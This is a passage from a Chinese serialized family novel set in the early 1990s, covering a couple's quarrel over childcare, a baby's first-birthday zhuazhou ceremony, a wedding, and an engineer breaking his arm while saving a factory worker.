舒秀珍回头看了一眼贝贝,贝贝看到妈妈立马咧开嘴露出一个甜甜的笑,当妈的没有不心疼自己孩子的,舒秀珍被她这一笑弄得眼泪立马就落了下来。 大冬天的,说话都哈气,眼泪糊在脸上冰冰凉凉的,舒英赶紧从包里掏出干净的手帕给她擦,舒秀珍眼泪还没擦干净就往回走从严磊怀里将贝贝抱过来。 小孩子最能感知到大人的情绪,尤其是自己妈妈的,贝贝虽然不明白发生了什么,但在看到妈妈脸上的眼泪后,表情也立马变得慌张起来,伸着小手就要帮她擦干净。 她手上没带手套,小手冻得冷冰冰的,贴在舒秀珍脸上,舒秀珍感受到后眼泪掉得更加汹涌。 李固言见状给了舒英一个眼神,这是说什么了?怎么哭成这样? 舒英没搭理他,李固言只好将谷雨又抱紧了点,不让她看到这一幕,以免吓到她。 严磊也没想到平日里最是凶悍的妻子今日竟哭得停不下来,他也有点摸不着头脑,他看了眼贝贝问:“这是怎么了?” 舒秀珍正一腔邪火没处发,摸着闺女冰凉的小手,又看到他自己穿得倒严实,瞬间大怒,冲着他吼道:“怎么了怎么了?你天天除了问我怎么了,还能有点其他本事吗?!” 严磊皱着眉,不知道她刚才还好好的,怎么又对着他发起火来,要不是因为妹妹妹夫夫妻俩还在,恐怕他俩马上就要吵起来,他也压着火说:“我又怎么得罪你了?” 舒秀珍现在看见他就烦,不想跟他废话,抱着贝贝就往前走,只道:“贝贝今年不让我妈看了。” “不是,不让你妈看着,那谁看着贝贝?”严磊没头没脑的得这一句,见她又不愿意多说,赶紧追上去问。 舒秀珍现在只觉得自己的火气堆到了嗓子眼,她深呼一口气,低头亲了亲贝贝,贝贝听着大人吵架,吓得小身子都在抖,就这还强忍着脸上对她扯出一个笑。 舒秀珍更是心疼,觉得自己这一年真是不负责任,就这样天天把她扔在她妈那,想起来了就给接回家住几天,忙了再给送回去,王梅不喜欢贝贝,私下里还不知道怎么对她的,就算碍着大人的体面对她不打不骂,那难道贝贝就能好过了吗? 她一抹眼泪,捧着贝贝的小脸贴着自己的,嘴里小声地说着:“对不起。” 后面舒秀珍怎么处理就都是她的私事了,就算再是亲姐妹,也已经各自成家了,人家夫妻闹矛盾,舒英也不好参与,扯着李固言就先走了。 舒秀珍见妹妹一家都走了后,也不再压着自己的情绪,她冲严磊道:“等到家,咱俩就商量商量贝贝今年怎么办?是送托儿所还是谁看着。” 其实家里双职工没人看小孩的家庭也不少,孩子大多都是选择送进托儿所的,只是舒秀珍之前去托儿所看过,里面的孩子都太小了,老师又不够,孩子闹闹腾腾的在里面也得不到很好的照顾。 但看着贝贝现在这样子,肯定是不能再让舒妈看着了,要是实在没人看就只能送托儿所,好在她现在赚的钱也多了,完全可以给闺女选择一个最好的。 谁想严磊这时候却道:“我妈肯定是来不了的,我也要上班,也没办法看贝贝。” 舒秀珍听完这话后,她说不好自己是什么心情,只觉得极其失望,她深深地看了他一眼,没再说什么,抱着贝贝坐上车回家。 她没有非要让严妈过来带贝贝的意思,也没有说要严磊辞职带贝贝,但严磊刚才的话实在太不负责任了,只一味地撇清自己的责任,生怕这个担子会落到他头上一样,好像贝贝只是她一个人的孩子,只有她一个人应该考虑谁带着贝贝。 出租车里很暖和,贝贝的小手小脸都回温了,舒秀珍从包里拿出饼干递给她吃。 贝贝犹豫地看了她一眼后才接过来,小口小口地吃着,简直懂事的不像话。 舒秀珍眼眶又是一热,她和严磊这一年都做了什么啊,自己的闺女自己竟这样不上心,连闺女手套没戴好都没注意到。 “贝贝,妈妈的好孩子。”舒秀珍紧紧搂着她,将下巴放在她头顶处,眼神看着前方路况,十分坚定地说,“妈妈会给你你想要的一切,妈妈会让你快快乐乐地长大的。” 贝贝听不懂她话中的意思,只是乖巧的吃着饼干,自己吃完还不忘递一半到妈妈嘴边,让妈妈也尝尝饼干的味道。 舒秀珍终于是笑了笑,用嘴接过还带着闺女口水的半块饼干,细嚼慢咽地吃下。 这边,舒英和李固言带着谷雨回到机械厂,厂里热闹非常,十来岁的小孩一堆一堆的玩着摔炮、擦炮,嘻嘻哈哈的,有那特别调皮捣蛋的小男孩,还专门捡人多的地方放,就在一旁等着看路人被吓一跳的样子。 李固言生怕这些不知所谓的小孩吓到自己闺女,冷着脸抱着谷雨往前走,家属院的小孩几乎都怕他,他人高马大的,平时也不怎么说话,往那一站气势十足,凡他经过的地儿,就没有小孩敢吓唬他的。 舒英瞧见那一堆小孩儿里正有隔壁吴家的儿子吴晓明,吴晓明看见他们后还跳出来跟他们打招呼:“叔叔阿姨,你们过完年回来啦?” 舒英笑着回道:“是啊,你妈妈在家吗?” “在呢,我妈在家收拾卫生呢,我姐也在家呢。” “行,那我待会儿去你家找你妈妈姐姐聊天,你在这儿放炮也小心着些,别炸着人。”舒英脸上笑吟吟的,跟冷面的李固言截然不同。 吴晓明偷瞄了一眼李固言,异常乖巧地点头:“我马上就回去。” 第38章 第 38 章 抓周 一个年忙忙碌碌地过完, 两个人又得回去上班。 小谷雨年前刚适应半天半天见不着妈妈,一个年又给她养的离不开舒英了。 不舍得也没用,班到底是要上。 药房现在也开始排夜班了, 舒英年前也熬了几回夜, 一个夜班把药房里的几个人整的没一个人有精神的,天天白天萎靡不振,实在是缺人手。 过完了年, 药房也终于是进新人了,两个小伙子,一个姓于一个姓莫,张主任为了这俩新人不知道跑了多少趟。 多俩人, 夜班也能排开些,不用那么紧凑,小胡看着新来的俩人终于是松了口气,年前就数她最辛苦。 小于和小莫现在还是在校的学生, 得等到这个暑假才能毕业, 跟舒英和小胡是一个学校的,他们安城的医院药房里的人, 除了一些养老的, 专业性的几乎都是她们那专科毕业的。 小于和小莫刚来报道,瞧着还有些拘谨,蒋姐和汪姐快退休了,所以带新人的任务分到了舒英和小胡身上。 小胡还笑着跟舒英打趣道:“姐, 我这才来几年,都已经熬成老人能带学生了。” 舒英也笑:“ 算算也两年半了,有经验了,可以当老师了。” 可不是吗, 89年暑假来的,算上实习的那年,刚好两年半。 小胡哈哈笑着:“那我带小于,姐你带小莫。” “行,都行。” 两个小伙子瞧着都不错,还没彻底出校门呢,眼神里还带着学生的清澈感,等上两年班就不一样了。 小胡带着俩新来的在医院里转了转,具体介绍了一下医院里的布局和结构,又讲了一下药房里的药品放置,这些都是要牢牢记住的,要不然拿药的病人一多,手忙脚乱起来,很容易被等的不耐烦的病人“嘁”的。 舒英这边的工作有条不紊地进行着,李固言那边也有了喜讯。 去年李固言带的项目组新研发出来的产品在市场上很受欢迎,有不少南方的厂子都引进了他们设计生产出来的机床。 陈主任看到出成绩也是松了一口气,废话,他举荐的李固言,厂里批了那么多钱,要是最后什么成果都没有,他也要负责任的。 李固言倒还很是沉稳,波澜不惊的样子只让人觉得他早就预料到了现在的状况,一切尽在他掌握的气势也让组里的人安静了不少。 本来组里因为没出成绩就没少被厂里的同事明里暗里地打听,拌之阴阳怪气的眼神和语气,他们心里可都没少生气难受。 厂里长眼睛的都能看出来陆副主任不喜欢李工,那跟着李工干,干出成绩了自然皆大欢喜,那要是最后失败了,李工自己有本事有文化不会有什么事,他们可就少不了厂里的白眼了。 有了成绩自然要庆祝一番,身为负责人的李固言理所当然的要请大家吃一顿饭,饭店就定在马六街的汤锅店。 大冬天的,还是吃点汤锅暖和。 这段时间大家都没少辛苦,下午就给大家放半天假,晚上准时到饭店就行。 组里的一听能放假都欢呼雀跃,赶紧收拾收拾东西回去。 李固言笑笑,最后出办公室,出门前又看了眼办公室,资料文件纷飞,大桌子上还摆放着不知道是谁画的图纸,上面改改画画,十分潦草。 他到家时,舒英也才刚回来,看到他还很诧异:“你今天中午怎么回来这么早?”以往李固言都要比她晚个十几二十分钟才对。 李固言先去抱过谷雨,随后才回答她的问题:“下午放假,中午就早点回来了。” 谷雨一上午没见妈妈了,很是想念,闹着要从他的怀里出来。 谷雨现在可不轻,舒英上了一上午班,不太想抱她,只笑着将手伸过去,握着她的手晃了晃,边问李固言:“这不年不节的,厂里怎么突然放了半天假?” 李固言解释一番后,舒英也笑起来:“那是该放个假休息休息。” “你和妈晚上跟我们一块儿去吃汤锅吧?省得家里做饭了。” 舒英:“你们组里庆祝,我们就不去了,别弄得大家都吃不自在。” 李妈将做好的饭从厨房里端出来,她手上的金镯子已经被她收起来了,外面不太平,还是小心为妙。 “行了,别聊天了,坐下吃饭吧。” 谷雨这小家伙吃饭乖得很,一点不用操心,勺子递到嘴边就张嘴接住,嚼嚼就咽下去。 但她现在还是以喝奶为主,饭没给喂多少,就喂点软和的鸡蛋羹之类。 李固言看着闺女真是怎么也看不够,天天疼着宠着,舒英瞧着,就是他闺女想摘天上的星星,他都乐意架着梯子上去。 吃饭的时候李妈又说起隔壁吴家。 “晓明这小子是真调皮,上午小谢又被叫到学校去了,我正做着饭呢,就听见晓明在那哭,我出来一看,小谢正拧着他耳朵呢,拧得耳朵通红。”李妈边说边摇头。 小谢就是吴嫂子。 舒英问:“这次他又是犯啥事了?”吴晓明没少被叫家长,吴嫂子也因此三天两头的请假去学校。 “那我倒是没仔细问,当时小谢气得狠,我光顾着劝人了。”李妈道,“要说她家这俩孩子,也真是不一样,晓丽就哪哪都乖,每次看见我都有礼有貌的,说成绩在学校也排前头,晓明就不行,他真是让人操心。” 舒英:“龙生九子各不相同嘛。晓明也还行,就是调皮捣蛋了点,也不是坏小孩。” “以后的事也说不准,但我看着这小孩还是得从小管着,要不然以后走上歪路了可后悔去吧。”李妈说完把谷雨吃完的鸡蛋羹碗拿走。 李固言笑起来:“谷雨还小呢,到不了那步。” “那也得注意!不都说惯子如杀子。” 舒英听这话也笑了笑,没放在心上。 李固言项目组研发的新产品销往沿海城市,他们得到那边出差去和购买了他们产品的厂家做讲解。 春天还没到,李固言就带着袁宜和简光远俩学生坐火车去了浙省。 目的地是一个沿海的城市,比安城的发展要快得多。 购买他们产品的是罗泓罗厂长,就是之前李固言跟着陈主任去广东参加交流会认识的,罗厂长因为丢了钱包,当时是李固言帮了他一个小忙,本来以为就是举手之劳,没想到后来罗厂长又因为厂子里遇到的一些困难找他们咨询,一来二去的就这样结下了缘分。 李固言笑着向袁宜和简光远介绍他,几年不见,罗厂长越发圆润了,笑呵呵地跟两人打招呼,接着就将三人迎上了车。 李固言跟罗厂长也许久没见了,罗厂长上下打量了一下他,笑道:“李工还跟我第一次见一样,还是那么的英俊不凡。” 李固言笑了笑,说:“罗厂长的事业也是越办越大了。” 两人哈哈笑了一阵后,就到了罗厂长的厂子,不得不说,罗厂长在做生意上是很有能力的,这厂子的规模比之李固言之前来的那次扩大了不少。 袁宜和简光远都是第一次来这边,一下车就很是好奇地左右张望。 : 罗厂长在跟李固言说话的同时也没漏了两个小朋友,笑着问:“你们是第一次来浙省吧?” 袁宜和简光远一同点了点头。 罗厂长道:“咱们这边临海,有很多海鲜可以吃,你们安城是内陆,应该是不常吃的,你们既然来了这边,那就多玩几天,好好品尝品尝我们这里的海鲜。” 留几天就不是他们俩说的算了,不过罗厂长也就是客气客气,便都笑着答应。 来到厂里没有第一时间去看那些产品,罗厂长先是把他们带到食堂,招待他们用了一顿午饭,下午才去的车间。 这几天,李固言以及袁宜和简光远的工作主要就是培训这些工人学会使用他们的产品,以及如果出现了些小故障,教会他们应该怎么修理。 几天的工作结束后,李固言给二人放了一天假,让他们在这边逛一逛玩一玩,好不容易出来这么一趟,总不能真把人一直圈在厂子里。 李固言也趁着这个时候买了一些当地特产,准备带回去给舒英和李妈尝尝。 临走前,罗厂长还找了一次李固言。 罗厂长看着李固言问道:“李工真的不考虑一下我们吗?我们厂虽然是私人的,但你看工资待遇都比你们那边要好得多,而且我们离沪市也近,在地理位置上是有优势的。” 这话他说了好几次了,每次李固言都是婉拒,这次也没有不同,他道:“我的家在安城,人说家是人的根,不是说离开就能离开的。” 罗厂长还不想放弃,他经过这几次的相处是知道李固言的能力的,仍劝道:“那你就把你的家人一起接来嘛,不论是教育还是医疗,我们这边比安城还是要发达些的,我相信你们一家人如果来了这边一定会生活的更好的,你也 不用担心钱的事,以你的能力,到哪工资都不会低的。” 李固言仍是笑着摇摇头,但也没有把话说太死,道:“就目前来说,我还是没有离开家乡的打算的。” 罗厂长见劝说无效,只好惋惜地看着他,他心里一直觉得,如果李工能加入他的厂子,他的厂子一定如虎添翼,未来不可估量。 不过这里离安城的确不近,不是所有人都愿意离开家乡到另外一个地方打拼的,罗厂长也理解他,只好说:“那若是以后李工有这个打算,可千万不要忘了我。” “好。”李固言笑着握了握他的手,扭头看见袁宜和简光远正从外面回来。 李固言回到安城机械厂,没多久就到了三月初六,是谷雨出生后的第一个生日,舒英和李固言都很重视,虽然没有办酒席,但打算在家里给谷雨办个小型的抓周宴,李爸也特意赶来参加。 这天是周一,所以时间定在舒英和李固言下班后举行。 这个抓周宴没有外人,就他们一家子,吃了晚饭后,提前在床上铺了一块红布,上面放了各种东西,有李爸放上去的毛笔和书本,李妈放上去的算盘和硬币,舒英又添了些其它东西,也没有特意讲究,是看到什么就摆了什么上去。 最后就是满满当当的摆满了一整张床。 舒英将谷雨放到床边,李固言拿着录像机记录。 小谷雨看着几人有些不明所以,床上的东西一个也没拿,张开手就要舒英抱。 舒英笑起来没如她的愿,反而站到床尾,指着床上的东西说:“谷雨看看,看看谷雨要抓哪一个?” 李爸和李妈在旁边守着,都想让谷雨抓自己放的那一份,伸手指着就差直接把东西塞进谷雨手里了。 李固言见状阻止说:“不能这样啊,这样算作弊了,不能算数的。”他手持录像机,将这一幕全给录了进去,等谷雨长大后定要让她看看自己爷爷奶奶是怎么耍赖的。 李爸李妈没法,只能老老实实站在旁边看着。 但谷雨现在眼里只有妈妈,红布上的东西看都没看一眼,直勾勾地朝着床尾的舒英爬过去。 手脚并用,速度还真不慢。 舒英笑着将谷雨抱了个满怀,红布上的物品都被她撞乱了,只能重新摆放,摆放好了后,舒英又把谷雨放到床头,自己站在床尾指着那些东西让她选一样。 谷雨歪着头看她,又黑又亮的大眼睛里满是不解,像是不明白为什么妈妈不抱她,一定要把她放在这里。 她这副样子实在是可爱又呆萌,李固言录着录着又开始心软,道:“要不算了吧,就只是一个仪式而已,谷雨不拿就不拿吧。” 李妈闻言瞥了他一眼道:“谷雨还没哭呢,你就开始心疼上了,你等等让她抓一样看看。” 李固言被说一顿,委委屈屈地看了一眼谷雨,表示自己也没办法了。 也不知道谷雨是不是接收到她爸的信息了,竟然真的用手抓了一样眼前的东西,一只小羊玩偶。 舒英看着,想起来这还是过年时候李固萱从沪市给带回来的。 李固言见她拿了一样,赶紧道:“好了好了,拿了拿了。” 李爸李妈还有些失望,李爸问:“这拿了只小羊啥意思,以后长大了去养羊啊?” 李妈也接腔道:“要不让她再重新拿一回,把这红布上的这些玩具什么的都给收起来。” 谷雨睁着圆溜溜的两大眼睛看着他们,也不知道听没听懂他们说的话,手里拿着小羊见还没人还抱自己,小嘴巴一瘪,小眉毛一皱,瞧着像是马上就要哭。 舒英赶紧过去抱起她,看着闺女手里的小羊笑道:“小羊是玩具,这说明咱谷雨以后都要快快乐乐的,天天都有玩具玩。” 李妈也笑:“这好,这好,也不求谷雨以后大富大贵,就快快乐乐的就行了!” 本来抓周嘛,就是图个开心,有个好寓意,至于抓什么怎么解读,就是大人的本事了。 李固言将录像机收起来,也笑着过去亲了亲谷雨,“我们谷雨就是世界上最聪明最快乐的宝宝。” 再是自己的孩子,舒英都没他这股子理所当然的劲儿,她轻轻推了他一下,笑说:“你说这话也不脸红。” 偏偏李固言还真不脸红,还反问她:“我说的不对吗?” 噎得舒英不知道说什么好,敷衍地点点头:“对对,你说的最对。” “今天谷雨周岁,明天就是固言的生日,也真是巧,父女俩就隔了一天。”李妈边收拾床上的东西边道。 可不是巧嘛,李固言是三月初七,谷雨正正好是三月初六。 谷雨窝在妈妈怀里,手里还攥着小羊玩偶不放。 舒英摸了下她的小脸,说:“今天没买蛋糕,咱明天买个蛋糕回来吃吧。” 李妈一口应下:“行!你们明天上班去,我上午去订个蛋糕,咱晚上一块儿吃。” 李固言听这话还有些不自在,这么大人了哪还有过生日的,以前没结婚的时候也没过过生日啊。 之前跟舒英一块儿过生日,吃个蛋糕煮个长寿面,怎么过都是他俩之间的乐趣,这突然说跟长辈一块儿过,想想就觉得别扭得慌。 舒英看出他的不自在来,当着李爸李妈的面,只笑着当不知道。 李爸第二天还得上班,这个点公交车已经听了,李固言给打了出租车送他回去的。 李妈现在帮着儿子媳妇带孩子,只能委屈老头自己一个人生活了,李固言有时候想想都觉得自己对不起二老,儿子长这么大没怎么尽过孝,反而让老人忙前忙后地帮着操持他的小家。 晚上上床睡觉的时候,李固言看着舒英和谷雨,一直没睡着。 舒英感受到他的情绪问:“怎么了?怎么大半夜的还不睡。” 李固言抿了抿唇,手掌垫在脸下枕着,看着她轻声问:“我是不是很没用?” 听到这话,舒英诧异地挑了挑眉,问:“你怎么会这么想?” “我马上也快三十了,但感觉好像还是一事无成,没有拿到更高的工资,你们还跟着我还挤在这小房子里,妈来帮忙照顾谷雨还一直睡在客厅里,连自己的房间都没有,爸赶来看看咱们,连住的地方都没有,只能趁夜再赶回去。” 原来是这个原因,舒英往前挪了挪,伸手柔柔地抚摸着他的脸,说:“你不要这样想,你要想,你还这么年轻就是厂里一个项目的负责人,还这么年轻就被分了一套自己的房子,还这么年轻就让咱们这个家衣食无忧,基本上除了大件是想买什么就买什么,还这么年轻就有了我们可爱的小谷雨。” 夜里,朦胧的夜光下,舒英的脸上像镀了一层柔和的薄纱,李固言怔怔地盯着她,突然弯起唇笑了笑。 他这段时间的确有些焦虑了,尤其是从浙省罗厂长那回来后,罗厂长的话就一直在他耳边萦绕,他也一直在想,自己是不是应该趁着年轻赶紧拼一把,为这个家庭多攒点钱财,起码能让家里的人住的更好。 李固言动了动,伸手揽住舒英,闭上眼睛没再说什么。 舒英也不知道他是想通了还是怕再让她担心,她也没有继续追问,只是放在他身上的手安抚似的拍了拍,像哄谷雨睡觉那样。 第二天太阳升起,日子照过,李固言早早就起来帮李妈一块儿准备早饭。 李妈心疼儿子,罗嗦了两句:“起这么早干什么,不多睡会儿。” 李固言向来不喜欢将自己的想法表露人前,只是笑笑道:“醒了就起来了。” 李妈:“明天别起这么早了,能多睡会儿还是多睡会儿,白天还要上一天班呢!” 李固言随口应了两声,也不知是答应还是不答应。 锅里水开,李妈将擀好的面条下进去,雾气蒸腾中,她笑着说:“你今天生日,给你下碗长寿面吃,待会儿再给你炒点肉臊子浇上去,一准儿好吃。” 李固言笑了笑答应:“好,妈做的肯定都好吃。” 一碗面做好,舒英刚好起来洗漱,闻 着香味就笑道:“妈的手艺真好,我正睡着呢,梦里就闻到一股味道,馋得我立马就醒了,醒来一闻这味儿,连床都不想赖,赶紧掀开被子就起来了。” 李妈也笑:“给你也下了一碗,你赶紧刷牙洗脸,洗好弄好过来吃饭。” “好!” 吃早饭时,李固言也没说什么话,特别安静,好在他平时话也不多,李妈没察觉出什么异常来。 吃完了饭,舒英和李固言如往常一样帮着收拾好才各自去上班。 谷雨现在又习惯大早上起来吃过饭爸爸妈妈就离开了,乖乖巧巧坐在椅子上冲着两人摆手,不哭也不闹。 李妈把桌子擦好,家里也给收拾的干干净净后,就把谷雨放推车里,推着谷雨出去订蛋糕。 蛋糕房也不远,就在机械厂前头一点,平时她也会带着谷雨来这蛋糕房买点鸡蛋糕什么的,对路很熟悉,到地方跟老板说一声交了订金就算是买好了,就只等着晚上来拿就行,简单得很。 第39章 第 39 章 骨折 92年农历四月二十二, 恰逢周日,是个结婚的吉日,舒武茂和司容的婚礼就定在今天。 舒英和李固言一大早就从家里收拾收拾抱着谷雨去舒家。 舒爸舒妈给小两口买了新房, 但因为新房小, 离这边也不近,所以婚礼还是在老房子里办,也方便老邻居们参加。 他们安城的规矩, 新娘子要天不亮就接到家里来,所以凌晨四点,舒家的车队就出发了,没到六点呢, 新娘子就坐到舒家的婚房里了。 只有新娘子自己来,新娘子的家人是不跟着一块儿来的。 舒英自己结过婚,也以娘家人的身份参加过舒秀珍的婚礼,在婚礼中只有新郎那方是喜庆的、高兴的。 而身为新娘, 在告别不舍哭泣的亲人后坐上车, 就要从自己从小生长的地方到另一个完全陌生的地方去生活,孤零零的一个人, 参加自己的婚礼, 舒英有时候想想,也不知道这种盛大的仪式究竟有什么好向往的,但她也只是自己在心里想想,没把这想法说出来给别人听。 舒英和李固言到的时候, 新娘子已经在婚房里了。 因为在老房子里举办,所以婚房是舒爸舒妈的房间收拾出来暂充的,等办完婚礼,这对新人再回到自己的新房中。 舒英到了后就把谷雨交给李固言带着, 自己和舒秀珍一起到婚房里去陪着新娘子,舒家的门敞开着,舒武茂和舒爸舒妈一起迎接来参加婚礼的宾客,客厅里支了张桌子,有专门的人坐在那里记礼金。 中午席面才开始,舒英拿了些饼干面包过来给弟妹垫肚子。 司容身着一袭喜庆的红色套裙,头发盘起,点缀着珠花和红色的头纱,脸上画着娇艳的妆容,既漂亮又羞涩。 婚房里时不时进来一些女客,脸上挟着笑,来看新娘子长什么样子,一边夸着一边道喜。 男客是不进来的,顶多就在门口往里望一望。 今天是大喜的日子,他们安城都说小孩子被新娘子摸一摸头顶会得到祝福,虽不知真假,但讨个好彩头总是不会错的,家里有小孩子的,都会带进来,让新娘子摸一摸。 司容红着脸,挺直背羞羞答答地坐在床边,进来一个小孩,就伸手在他头顶摸一下。 两三岁的孩子还懵懂着,被摸了头也不知道发生了什么,七八岁的孩子就懂事了,进来也不止为被新娘子摸头,大多都好奇新娘子长什么样子,被摸的时候就抬着眼悄悄观察,出去后再和小伙伴们一起讨论新娘子的漂亮。 小孩也不会压着声音,话里都是夸奖,新娘子在里间听着,脸越发羞红。 舒英也没放过这个彩头,出去从李固言怀里把谷雨抱过来,放到司容面前柔声说:“让小舅妈摸摸头顶。” 司容看着谷雨,笑着伸手在她头顶上摸了下,摸完了还道:“谷雨比我上次见又长大了不少。” “小孩子嘛,长得快。”舒英将谷雨抱起来,现在人多,别一个没注意磕着碰着。 舒秀珍等谷雨摸完也将贝贝牵过来,王梅也带了宝宝来。 舒武茂忙着外面,也没忘了房间里的新娘,探头往房间里看了一眼,新婚的小夫妻俩一对视,都不好意思地笑起来,旁边人见了没有不起哄打趣的,舒武茂哪里见过这场面,瞬时落荒而逃,旁边人瞧了又是一阵大笑。 婚礼嘛,总的来说还是高兴的。 临近中午的时候,一行人再从舒家出发,到不远处的饭店里去。 舒英和舒秀珍身为新郎的姐姐,一直陪同在新娘子旁边,坐到主桌上。 等开了席,舒爸舒妈带着新郎新娘到各个桌子上敬酒,这时候舒英和舒秀珍就轻松些了,不用再陪着,坐在椅子上边吃边聊天。 贝贝现在走路流利得很,从座子上扭下来就跑到李固言旁边要找妹妹玩,李固言正给谷雨喂东西吃呢,见她过来也一并哄着,姐妹俩你一口我一口地吃着东西。 舒英见状笑了笑,道:“贝贝比过年时候活泼多了。” 舒秀珍也笑:“是,她今年在托儿所还交了个好朋友呢,我放学去接她的时候都不舍得分开。” 贝贝吃完东西围着桌子转,还要拉着谷雨一起,李固言笑着道:“妹妹还小呢,我们就在这玩好不好?” 贝贝歪着脑袋看了他一眼,迟疑地点了点头答应:“那好吧。” 舒秀珍笑着看李固言哄孩子,凑过去轻声对舒英道:“妹夫带孩子还真有一手,你们家谷雨他平时带的多吗?” 舒英点点头:“他一下班就带着谷雨,他带的比我多。”说完又问,“你跟姐夫最近怎么样,还吵架吗?”刚过完年的时候,因着贝贝的事,他俩三天两头的吵。 严磊说公司里有事今天都没来,舒爸对此颇有微词,舒秀珍撇了撇嘴,说:“吵,怎么不吵,他天天也不知道在想啥,他妈说我俩现在都在私人企业里上班,赚的也不少,催着我生二胎呢!”没有编制,生二胎也不会被开除,把罚款缴上就能给孩子上户口,她赚的多,罚款也能交的起。 舒英诧异一瞬,眉尾动了动,身子俯过去问:“那你怎么想的,你不会也想再生一个吧?贝贝现在还没三岁呢,再生一个你怎么带?”她生怕舒秀珍想不开,也想再生一个。 舒秀珍哼了一声,手里把玩着杯子,眼睛一横道:“生个屁!再生一个我还怎么上班?我现在事业正好呢,我是傻才会去再怀孕。就严磊那拎不清的一个劲儿向着他老子娘,跟我说什么那么多人都有儿子就他没有,我呸!” 舒英见她脑子清醒也微微放下心,但转念想到姐夫又不由得叹一口气,结婚前她看着严磊虽然有点嫌他窝囊,但好歹是听舒秀珍的话,怎么结了婚了就变成了这副德行,好歹也是上过中专的人,怎么还想着要儿子才能传宗接代? 舒秀珍现在也迷茫着呢,以前都说嫁汉嫁汉穿衣吃饭,但现在她们这个小家明显是她赚的多,他挣的钱一半都拿了去给他爹妈,她还不能说,一说两人又得吵,也幸好是她现在工资高,才懒得跟他争执这个,但凡她赚得不够一家子花的,那这个家早都散了。 可家里现在这个样子她也不满意,一个顶不上用还想着拉她下来的丈夫真的还是家里的顶梁柱吗? 但这都是她自己的心里事,跟谁也没说过,跟舒英都没提过。 话题转了又转,舒秀珍问起李固言厂子里的事:“妹夫这几年了怎么都还没动一动?”之前都说李固言势头猛,在厂里升的快,这都几年过去了,怎么还没往上升一升。 舒英笑笑:“他那个厂子你又不是不知道。” 舒秀珍也是一叹气,她跑业务的,接触不少厂子,这种国营老厂,说出去名头是好听,实则里面人员都固化了,一个萝卜一个坑的,都是关系户。 舒英吃完菜,转身摸了摸谷雨后背,见没有出汗才放下心,现在天气才开始有点热,玩一身汗再一吹风 最容易感冒。 她脑子里想着刚刚的话题,知道李固言前段时间那么焦虑也跟这有关,天天在厂里该干的活儿一点没少干,但却一直没办法往上升,搁谁谁不着急呢? 舒英姐俩聊的开心,王梅看着这婚礼场面却是有些不忿,当年她结婚的时候可没有这么大的场面,那时候舒妈因为她是农村的没少看不上她,连彩礼都往下一压再压,现在小儿子娶了家境好的老婆了,掏干家底都要给人家体面,她心里如何能不难受? 宝宝坐在她怀里看着对面贝贝和谷雨玩得开心,扭着小身子也要过去,王梅皱眉拍了他一下沉声道:“坐好。” 舒英注意到这边,笑着拉了拉宝宝的小手道:“宝宝吃饱了吗?要不要跟妹妹一起玩玩?” 王梅当着她的面不好再说什么,将宝宝放到地上点点头说:“去吧。” 宝宝得了她的同意也往李固言那边跑。 三个孩子差的都不大,话都还说不利索呢,凑在一起叽里咕噜的说着只有他们才能听懂的话,李固言就在旁边看着,生怕小孩子突然掐起来。 不多时,舒爸舒妈就带着舒武茂和司容敬酒回来了,新婚小夫妻,大家也都知趣,一杯酒就敬了全场的人。 吃完饭后,人慢慢散去,就剩了舒家一家人,舒妈打包了些没吃完的饭菜拎回去,舒家的兄弟姐妹四个帮着把家里给收拾了一番后,才各回各家。 一个休息日就这么忙忙碌碌的过去,还没休息上呢,就又得回去上班了。 这天,舒英正在药房里整理架子呢,就有护士匆匆忙忙地叫她去急诊,舒英还纳闷呢,她一个药房的,去急诊干嘛。 到了急诊一看,李固言正在里面坐着呢,右手臂上都是血。 医院里的人因为舒英怀孕的时候,李固言天天一趟不落的接送,几乎都认识他,知道他是药房里舒英的丈夫,所以那护士在看到他的时候就立马去药房喊舒英了。 舒英看到这一幕,吓得脸都白了,赶紧进去问是怎么回事。 李固言没预料到会有人把她叫过来,看到她煞白的脸赶紧安慰道:“没事没事,就是骨折了,刘医生帮我上夹板呢。” 都是医院里的同事,就算不熟悉也差不多都认识,刘医生连忙道:“骨折,注意养养,能恢复。” 跟着一块来的袁宜见舒英快吓得六神无主了,也立马解释起前因后果。 原来是李固言今天下车间查看呢,一名工人正操作机床,不知道是累了还是有点走神,一个不慎差点将手卷进机器里,机器正在运行,这要是卷进去手可就碎了。 李固言见状连忙去停掉机器,但事发突然,他动作又迅速,结果机器是停了,他自己却因为跑得太急撞到了机器上,胳膊擦破了,骨头也骨折了。 袁宜当时就在旁边跟着,见状立马就给送到最近的二院来了。 差点出事的工人也跟着一块儿过来了,知道李工是因为救自己才受伤的,面色惶恐心中惴惴,搓着衣角站在旁边,赶忙表态道:“医药费我出,医药费我出……” 舒英看了他一眼,没说话,医药费出不出的要什么要紧?家里也不缺那点钱,人要是出事了才真就完了。 李固言知道她现在是心里后怕顾不上其他,伸出完好的手拉着她在自己旁边坐下,还笑道:“没事,医生都说了,养一段时间就好了。” 又安慰旁边的工人说:“你也别太紧张,就是骨折,没有生命危险,你下回再操作机器的时候可得上点心,再跟今天似的三心二意,可就不一定有今天这么好的运气了。” 他这受了伤,疼得一脑门的汗还有心思开玩笑呢,舒英皱着眉,又是心疼又是生气,不过瞧着的确没那么严重,也就慢慢放下心来,问刘医生有没有什么要注意的事项。 胳膊处理完,今天这班是谁也没心思上下去了,舒英回药房跟张主任请假。 医院里没什么秘密,张主任也听说了她丈夫的事,盹都没打就批了假,还安慰了她几句。 舒英心里放着事儿,也没心情跟上司客套,潦草笑了笑后就陪着李固言回家去了。 李固言的右手上了夹板,挂在胸前,连动都不好动,那一跤撞在机器上也不只是胳膊上受了伤,身上各处都有点酸疼,只是怕媳妇担心,工人内疚,他就忍着没说,只拣了最严重的说了。 到家的时候,李妈正领着谷雨在院子里一圈一圈地转,脸色也是难看得很,李固言在厂里一出事,就有人来家属院通知她了,说是没那么严重,但没亲眼见着哪里能放下心,要不是要看着谷雨她早就去医院去了。 李固言一进家门,李妈就围上去打量,心疼得不行:“这怎么回事啊?怎么撞一下就撞成这样了?这胳膊以后不会留下毛病吧?” 舒英看着刘医生给他处理的,知道没大毛病后才算是回过神来,边扶着李固言进屋坐下边回答李妈:“医生说不会,就是在把夹板拆掉前不能用力。” “哎呦,怎么这么厉害啊,这好好的去上个班怎么就弄成这样啊。”李妈急得坐都坐不下。 “妈,妈,你先别慌,我这真没事,医生都给看过了。” 李妈不信他的说辞,道:“伤筋动骨一百天呢,哪有说没事就没事的,骨头都断了,以后肯定有影响。” 舒英将枕头靠在床头,让李固言躺下去,拉着他的衣角就要看身体其他部位有没有伤到。 